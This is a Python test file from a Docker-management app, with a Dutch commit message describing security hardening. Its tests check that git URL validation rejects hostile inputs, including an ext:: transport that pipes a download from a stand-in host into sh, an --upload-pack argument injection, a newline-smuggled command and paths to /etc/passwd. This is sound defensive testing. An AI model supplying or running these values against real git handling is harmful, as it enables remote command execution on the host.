server-up/tests/test_repo_urls.py
Ramon 916e54a229 v0.5.00-beta - authenticatie + beveiligingsfixes
Server Up beheerde de Docker-daemon als root zonder enige vorm van
authenticatie: elke /api/*-route was gelijk aan root-toegang op de host.

- Authenticatie toegevoegd (core/auth.py): lokale accounts met scrypt-hash,
  sessiecookie (HttpOnly, SameSite=Strict) en optionele trusted-proxy-header
  SSO die alleen vanaf geconfigureerde proxy-IP's wordt vertrouwd.
- before_request-guard schermt alle API-routes af; loginscherm en
  eerste-account-setup in de UI.
- CSRF-token verplicht op elke mutatie; GET-varianten van state-wijzigende
  routes verwijderd (o.a. /api/docker/restart was via <img> te triggeren).
- Path traversal in /api/store/install gedicht; gedeelde safe_name()-validatie
  voor stack-, instantie- en repo-namen.
- Git-tokens worden niet meer teruggegeven via /api/repos en /api/settings
  (has_token-vlag); settings-PUT wist een bestaand token niet meer en kan AUTH
  niet overschrijven.
- Git-URL's beperkt tot http(s)/ssh/scp-syntax; ext::-transport (voert een
  shell-commando uit) en file:// worden geweigerd.
- Boilerplate-templates renderen in een SandboxedEnvironment (SSTI).
- Automatisch syncen van repo's bij boot standaard uit (AUTO_SYNC_ON_BOOT),
  optionele commit-pinning per repo.
- Waitress in plaats van de Flask-ontwikkelserver, MAX_CONTENT_LENGTH,
  ProxyFix, en CSP/X-Frame-Options/nosniff/Referrer-Policy headers.
- Front-end libraries (Tailwind, Alpine, htmx) lokaal meegeleverd i.p.v. CDN;
  Google Fonts verwijderd. Werkt nu ook offline.
- SSH host-key-verificatie aan (accept-new + /data/known_hosts).
- Lichte /healthz voor de healthcheck i.p.v. `docker info`.
- config.json en secret.key met 0600-rechten.
- Poort standaard op 127.0.0.1 gebonden.
- Audit-log gebruikt één gedeelde SQLite-verbinding (fd-lek per job verholpen);
  joblogs afgekapt op 2000 regels.
- VERSION-bestand is de enige bron voor het versienummer.
- pytest-suite toegevoegd (74 tests) en als stap in beide deploy-workflows.
- fix-config.sh verwijderd (hardgecodeerd intern IP, overschreef config).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C7oLCRYzY5ixJ5Sv8Y8EFb
2026-07-26 14:40:05 +02:00

82 lines
2.8 KiB
Python

"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
import pytest
from conftest import login
@pytest.mark.parametrize("url", [
"https://github.com/bes-r/server-up.git",
"http://10.0.20.22:3000/bes-r/server-up.git",
"ssh://git@example.com/bes-r/server-up.git",
"git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
assert env["core"].valid_repo_url(url) is True
@pytest.mark.parametrize("url", [
'ext::sh -c "curl evil.example/x.sh | sh"',
"file:///etc",
"/etc/passwd",
"--upload-pack=/bin/sh",
"",
"https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
assert env["core"].valid_repo_url(url) is False
def test_repo_toevoegen_weigert_ext_transport(client):
csrf = login(client)
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert client.get("/api/repos").get_json() is not None
def test_clone_weigert_ext_transport_uit_oude_config(env):
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
from core import git
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
assert ok is False
assert "niet-toegestane" in msg
def test_repos_endpoint_lekt_geen_token(client, env):
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
body = client.get("/api/repos").get_data(as_text=True)
assert "s3cr3t-token" not in body
assert "has_token" in body
settings = client.get("/api/settings").get_data(as_text=True)
assert "s3cr3t-token" not in settings
def test_settings_put_wist_bestaand_token_niet(client, env):
csrf = login(client)
client.post("/api/repos",
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
headers={"X-CSRF-Token": csrf})
repos = client.get("/api/repos").get_json()
client.put("/api/settings", json={"APP_REPOS": repos},
headers={"X-CSRF-Token": csrf})
stored = env["core"].load()["APP_REPOS"]
mijn = next(r for r in stored if r["id"] == "mijn")
assert mijn["token"] == "blijf-staan"
def test_settings_put_kan_auth_niet_overschrijven(client, env):
csrf = login(client)
client.put("/api/settings",
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
headers={"X-CSRF-Token": csrf})
import core.auth as auth
assert auth.settings()["mode"] == "local"
assert "tester" in auth.settings()["users"]